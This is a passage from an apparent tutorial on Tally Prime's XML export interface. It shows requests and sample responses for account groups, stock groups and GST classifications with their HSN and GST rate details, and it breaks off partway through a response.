                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Loans &amp; Advances (Asset)" RESERVEDNAME="Loans &amp; Advances (Asset)">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Loans &amp; Advances (Asset)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Loans (Liability)" RESERVEDNAME="Loans (Liability)">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Loans (Liability)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Misc. Expenses (ASSET)" RESERVEDNAME="Misc. Expenses (ASSET)">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Misc. Expenses (ASSET)</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Provisions" RESERVEDNAME="Provisions">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Provisions</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Purchase Accounts" RESERVEDNAME="Purchase Accounts">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Purchase Accounts</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Reserves &amp; Surplus" RESERVEDNAME="Reserves &amp; Surplus">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Reserves &amp; Surplus</NAME>
                            <NAME>Retained Earnings</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Sales Accounts" RESERVEDNAME="Sales Accounts">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Sales Accounts</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Secured Loans" RESERVEDNAME="Secured Loans">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Secured Loans</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Stock-in-Hand" RESERVEDNAME="Stock-in-Hand">
                    <TBALOPENING TYPE="Amount">-1447900.00</TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount">-1447900.00</GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Stock-in-Hand</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Sundry Creditors" RESERVEDNAME="Sundry Creditors">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Sundry Creditors</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Sundry Debtors" RESERVEDNAME="Sundry Debtors">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Sundry Debtors</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Suspense A/c" RESERVEDNAME="Suspense A/c">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Suspense A/c</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
                <GROUP NAME="Unsecured Loans" RESERVEDNAME="Unsecured Loans">
                    <TBALOPENING TYPE="Amount"></TBALOPENING>
                    <GRPOPENINGBALANCE TYPE="Amount"></GRPOPENINGBALANCE>
                    <LANGUAGENAME.LIST>
                        <NAME.LIST TYPE="String">
                            <NAME>Unsecured Loans</NAME>
                        </NAME.LIST>
                        <LANGUAGEID TYPE="Number"> 1033</LANGUAGEID>
                    </LANGUAGENAME.LIST>
                </GROUP>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

This XML snippet appears to be a part of a response from Tally, detailing various financial groups and their associated attributes. The response includes information about different account groups, such as "Bank Accounts," "Capital Account," and "Current Assets," among others. Each group is defined with elements such as NAME, RESERVEDNAME, TBALOPENING, and GRPOPENINGBALANCE

Export stock group data from Tally Prime

XML Request:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>COLLECTION</TYPE>
        <ID>List of Stock Group</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
            </STATICVARIABLES>
            <TDL>
                <TDLMESSAGE>
                    <COLLECTION NAME="List of Stock Group" ISINITIALIZE="Yes">
                        <TYPE>Stock Group</TYPE>
                        <NATIVEMETHOD>Parent</NATIVEMETHOD>
                        <NATIVEMETHOD>GSTDetails</NATIVEMETHOD>
                        <NATIVEMETHOD>HSNDetails</NATIVEMETHOD>
                    </COLLECTION>
                </TDLMESSAGE>
            </TDL>
        </DESC>
    </BODY>
</ENVELOPE>

The provided XML code is designed to export stock group data from Tally Prime, specifically targeting key details such as parent groups, GST details, and HSN details.

TDLMESSAGE:

• COLLECTION NAME: Named "List of Stock Group".

  • TYPE: Specifies "Stock Group" as the data type.

  • NATIVEMETHOD: Includes key fields:

    • Parent: Parent group of the stock group.

    • GSTDetails: GST-related details.

    • HSNDetails: HSN details associated with the stock group.

XML Response:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
            <CMPINFO>
                <COMPANY>0</COMPANY>
                <GROUP>1</GROUP>
                <LEDGER>2</LEDGER>
                <COSTCATEGORY>0</COSTCATEGORY>
                <COSTCENTRE>0</COSTCENTRE>
                <GODOWN>0</GODOWN>
                <STOCKGROUP>0</STOCKGROUP>
                <STOCKCATEGORY>0</STOCKCATEGORY>
                <STOCKITEM>1</STOCKITEM>
                <VOUCHERTYPE>0</VOUCHERTYPE>
                <CURRENCY>0</CURRENCY>
                <UNIT>0</UNIT>
                <BUDGET>0</BUDGET>
                <CLIENTRULE>0</CLIENTRULE>
                <SERVERRULE>0</SERVERRULE>
                <STATE>0</STATE>
                <TDSRATE>0</TDSRATE>
                <TAXCLASSIFICATION>0</TAXCLASSIFICATION>
                <STCATEGORY>0</STCATEGORY>
                <DEDUCTEETYPE>0</DEDUCTEETYPE>
                <ATTENDANCETYPE>0</ATTENDANCETYPE>
                <FBTCATEGORY>0</FBTCATEGORY>
                <FBTASSESSEETYPE>0</FBTASSESSEETYPE>
                <TARIFFCLASSIFICATION>0</TARIFFCLASSIFICATION>
                <EXCISEDUTYCLASSIFICATION>0</EXCISEDUTYCLASSIFICATION>
                <SERIALNUMBER>0</SERIALNUMBER>
                <ADJUSTMENTCLASSIFICATION>0</ADJUSTMENTCLASSIFICATION>
                <INCOMETAXSLAB>0</INCOMETAXSLAB>
                <INCOMETAXCLASSIFICATION>0</INCOMETAXCLASSIFICATION>
                <LBTCLASSIFICATION>0</LBTCLASSIFICATION>
                <TAXUNIT>0</TAXUNIT>
                <RETURNMASTER>0</RETURNMASTER>
                <GSTCLASSIFICATION>0</GSTCLASSIFICATION>
                <VOUCHERNUMBERSERIES>0</VOUCHERNUMBERSERIES>
                <VOUCHER>0</VOUCHER>
            </CMPINFO>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="128">
              <STOCKGROUP NAME="Hardware" RESERVEDNAME="">
                    <PARENT TYPE="String">&#4; Primary</PARENT>
                    <GSTDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <GSTNOTIFICATIONDATE/>
                        <CALCULATIONTYPE/>
                        <REPORTINGUOM/>
                        <HSNCODE/>
                        <HSNMASTERNAME/>
                        <HSN/>
                        <SUPPLYTYPE/>
                        <TAXABILITY/>
                        <GSTNOTIFICATIONNUMBER/>
                        <GSTNATUREOFTRANSACTION/>
                        <NATUREOFGOODS/>
                        <SRCOFGSTDETAILS>As per Company/Stock Group</SRCOFGSTDETAILS>
                        <GSTCALCSLABONMRP/>
                        <ISREVERSECHARGEAPPLICABLE/>
                        <ISNONGSTGOODS/>
                        <GSTINELIGIBLEITC>Yes</GSTINELIGIBLEITC>
                        <INCLUDEEXPFORSLABCALC/>
                        <REVERSECHARGERATE>0</REVERSECHARGERATE>
                        <STATEWISEDETAILS.LIST>
                            <STATENAME>&#4; Any</STATENAME>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <GSTSLABRATES.LIST>       </GSTSLABRATES.LIST>
                        </STATEWISEDETAILS.LIST>
                    </GSTDETAILS.LIST>
                    <HSNDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <HSNCODE/>
                        <HSN/>
                        <HSNCLASSIFICATIONNAME/>
                        <SRCOFHSNDETAILS>As per Company/Stock Group</SRCOFHSNDETAILS>
                    </HSNDETAILS.LIST>
                </STOCKGROUP>
                <STOCKGROUP NAME="Home &amp; Garden" RESERVEDNAME="">
                    <PARENT TYPE="String">&#4; Primary</PARENT>
                    <GSTDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <GSTNOTIFICATIONDATE/>
                        <CALCULATIONTYPE/>
                        <REPORTINGUOM/>
                        <HSNCODE/>
                        <HSNMASTERNAME/>
                        <HSN/>
                        <SUPPLYTYPE/>
                        <TAXABILITY>Taxable</TAXABILITY>
                        <GSTNOTIFICATIONNUMBER/>
                        <GSTNATUREOFTRANSACTION/>
                        <NATUREOFGOODS/>
                        <SRCOFGSTDETAILS>Specify Details Here</SRCOFGSTDETAILS>
                        <GSTCALCSLABONMRP/>
                        <ISREVERSECHARGEAPPLICABLE/>
                        <ISNONGSTGOODS/>
                        <GSTINELIGIBLEITC/>
                        <INCLUDEEXPFORSLABCALC/>
                        <REVERSECHARGERATE>0</REVERSECHARGERATE>
                        <STATEWISEDETAILS.LIST>
                            <STATENAME>&#4; Any</STATENAME>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE> 6</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE> 6</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE> 12</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <GSTSLABRATES.LIST>       </GSTSLABRATES.LIST>
                        </STATEWISEDETAILS.LIST>
                    </GSTDETAILS.LIST>
                    <HSNDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <HSNCODE>8888</HSNCODE>
                        <HSN>Home &amp; Garden Desc</HSN>
                        <HSNCLASSIFICATIONNAME/>
                        <SRCOFHSNDETAILS>Specify Details Here</SRCOFHSNDETAILS>
                    </HSNDETAILS.LIST>
                </STOCKGROUP>
                <STOCKGROUP NAME="Tools" RESERVEDNAME="">
                    <PARENT TYPE="String">&#4; Primary</PARENT>
                    <GSTDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <GSTNOTIFICATIONDATE/>
                        <CALCULATIONTYPE/>
                        <REPORTINGUOM/>
                        <HSNCODE/>
                        <HSNMASTERNAME>GST Rate</HSNMASTERNAME>
                        <HSN/>
                        <SUPPLYTYPE/>
                        <TAXABILITY/>
                        <GSTNOTIFICATIONNUMBER/>
                        <GSTNATUREOFTRANSACTION/>
                        <NATUREOFGOODS/>
                        <SRCOFGSTDETAILS>Use GST Classification</SRCOFGSTDETAILS>
                        <GSTCALCSLABONMRP/>
                        <ISREVERSECHARGEAPPLICABLE/>
                        <ISNONGSTGOODS/>
                        <GSTINELIGIBLEITC>Yes</GSTINELIGIBLEITC>
                        <INCLUDEEXPFORSLABCALC/>
                        <REVERSECHARGERATE>0</REVERSECHARGERATE>
                        <STATEWISEDETAILS.LIST>
                            <STATENAME>&#4; Any</STATENAME>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <RATEDETAILS.LIST>
                                <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                <GSTRATE>0</GSTRATE>
                                <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                            </RATEDETAILS.LIST>
                            <GSTSLABRATES.LIST>       </GSTSLABRATES.LIST>
                        </STATEWISEDETAILS.LIST>
                    </GSTDETAILS.LIST>
                    <HSNDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <HSNCODE/>
                        <HSN/>
                        <HSNCLASSIFICATIONNAME>GST Group</HSNCLASSIFICATIONNAME>
                        <SRCOFHSNDETAILS>Use GST Classification</SRCOFHSNDETAILS>
                    </HSNDETAILS.LIST>
                </STOCKGROUP>
            </COLLECTION>
        </DATA>
    </BODY>
</ENVELOPE>

This version focuses on the STOCKGROUP elements with relevant GST details and HSN details.

Export GST Classification data from Tally Prime

XML Request:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <TALLYREQUEST>EXPORT</TALLYREQUEST>
        <TYPE>COLLECTION</TYPE>
        <ID>List of Classification</ID>
    </HEADER>
    <BODY>
        <DESC>
            <STATICVARIABLES>
                <SVEXPORTFORMAT>$$SysName:XML</SVEXPORTFORMAT>
            </STATICVARIABLES>
            <TDL>
                <TDLMESSAGE>
                    <COLLECTION NAME="List of Classification" ISINITIALIZE="Yes">
                        <TYPE>GSTCLASSIFICATION</TYPE>
                        <NATIVEMETHOD>HSNDetails</NATIVEMETHOD>
                        <NATIVEMETHOD>GSTDetails</NATIVEMETHOD>
                    </COLLECTION>
                </TDLMESSAGE>
            </TDL>
        </DESC>
    </BODY>
</ENVELOPE>

The provided XML request is designed to export GST classification data from Tally, including detailed HSN and GST information.

TDL Section:

• TDLMESSAGE: Within this, a collection named "List of Classification" is initialized and configured to extract GST classification data.

• COLLECTION:

  • NAME: The name of the collection is "List of Classification."

  • ISINITIALIZE: This attribute is set to "Yes," indicating that the collection should be initialized before fetching the data.

  • TYPE: Specifies the type of data to be fetched, which is "GSTCLASSIFICATION."

  • NATIVEMETHOD: The request includes two native methods:

    • HSNDetails: Fetches HSN (Harmonized System of Nomenclature) details associated with the GST classification.

    • GSTDetails: Retrieves GST-related details associated with the classification.

XML Response:

<ENVELOPE>
    <HEADER>
        <VERSION>1</VERSION>
        <STATUS>1</STATUS>
    </HEADER>
    <BODY>
        <DESC>
            <CMPINFO>
                <COMPANY>0</COMPANY>
                <GROUP>1</GROUP>
                <LEDGER>2</LEDGER>
                <COSTCATEGORY>0</COSTCATEGORY>
                <COSTCENTRE>0</COSTCENTRE>
                <GODOWN>0</GODOWN>
                <STOCKGROUP>0</STOCKGROUP>
                <STOCKCATEGORY>0</STOCKCATEGORY>
                <STOCKITEM>1</STOCKITEM>
                <VOUCHERTYPE>0</VOUCHERTYPE>
                <CURRENCY>0</CURRENCY>
                <UNIT>0</UNIT>
                <BUDGET>0</BUDGET>
                <CLIENTRULE>0</CLIENTRULE>
                <SERVERRULE>0</SERVERRULE>
                <STATE>0</STATE>
                <TDSRATE>0</TDSRATE>
                <TAXCLASSIFICATION>0</TAXCLASSIFICATION>
                <STCATEGORY>0</STCATEGORY>
                <DEDUCTEETYPE>0</DEDUCTEETYPE>
                <ATTENDANCETYPE>0</ATTENDANCETYPE>
                <FBTCATEGORY>0</FBTCATEGORY>
                <FBTASSESSEETYPE>0</FBTASSESSEETYPE>
                <TARIFFCLASSIFICATION>0</TARIFFCLASSIFICATION>
                <EXCISEDUTYCLASSIFICATION>0</EXCISEDUTYCLASSIFICATION>
                <SERIALNUMBER>0</SERIALNUMBER>
                <ADJUSTMENTCLASSIFICATION>0</ADJUSTMENTCLASSIFICATION>
                <INCOMETAXSLAB>0</INCOMETAXSLAB>
                <INCOMETAXCLASSIFICATION>0</INCOMETAXCLASSIFICATION>
                <LBTCLASSIFICATION>0</LBTCLASSIFICATION>
                <TAXUNIT>0</TAXUNIT>
                <RETURNMASTER>0</RETURNMASTER>
                <GSTCLASSIFICATION>0</GSTCLASSIFICATION>
                <VOUCHERNUMBERSERIES>0</VOUCHERNUMBERSERIES>
                <VOUCHER>0</VOUCHER>
            </CMPINFO>
        </DESC>
        <DATA>
            <COLLECTION ISMSTDEPTYPE="Yes" MSTDEPTYPE="0">
                <GSTCLASSIFICATION NAME="GST Group" RESERVEDNAME="">
                    <GSTDETAILS.LIST>
                        <APPLICABLEFROM>20240401</APPLICABLEFROM>
                        <GSTNOTIFICATIONDATE/>
                        <CALCULATIONTYPE/>
                        <REPORTINGUOM/>
                        <HSNCODE/>
                        <HSNMASTERNAME/>
                        <HSN/>
                        <SUPPLYTYPE/>
                        <TAXABILITY/>
                        <GSTNOTIFICATIONNUMBER/>
                        <GSTNATUREOFTRANSACTION/>
                        <NATUREOFGOODS/>
                        <SRCOFGSTDETAILS>Specify Slab-Based Rates</SRCOFGSTDETAILS>
                        <GSTCALCSLABONMRP/>
                        <ISREVERSECHARGEAPPLICABLE/>
                        <ISNONGSTGOODS/>
                        <GSTINELIGIBLEITC/>
                        <INCLUDEEXPFORSLABCALC/>
                        <REVERSECHARGERATE>0</REVERSECHARGERATE>
                        <STATEWISEDETAILS.LIST>
                            <STATENAME>&#4; Any</STATENAME>
                            <RATEDETAILS.LIST>       </RATEDETAILS.LIST>
                            <GSTSLABRATES.LIST>
                                <TAXABILITY>Taxable</TAXABILITY>
                                <TOITEMRATE> 29</TOITEMRATE>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 6</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 6</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 12</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                            </GSTSLABRATES.LIST>
                            <GSTSLABRATES.LIST>
                                <TAXABILITY>Taxable</TAXABILITY>
                                <TOITEMRATE> 89</TOITEMRATE>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 2.50</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 2.50</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE> 5</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                            </GSTSLABRATES.LIST>
                            <GSTSLABRATES.LIST>
                                <TAXABILITY>Taxable</TAXABILITY>
                                <TOITEMRATE>0</TOITEMRATE>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>CGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>SGST/UTGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>IGST</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>&#4; Not Applicable</GSTRATEVALUATIONTYPE>
                                    <GSTRATE>0</GSTRATE>
                                    <GSTRATEPERUNIT>0</GSTRATEPERUNIT>
                                </RATEDETAILS.LIST>
                                <RATEDETAILS.LIST>
                                    <GSTRATEDUTYHEAD>State Cess</GSTRATEDUTYHEAD>
                                    <GSTRATEVALUATIONTYPE>Based on Value</GSTRATEVALUATIONTYPE>
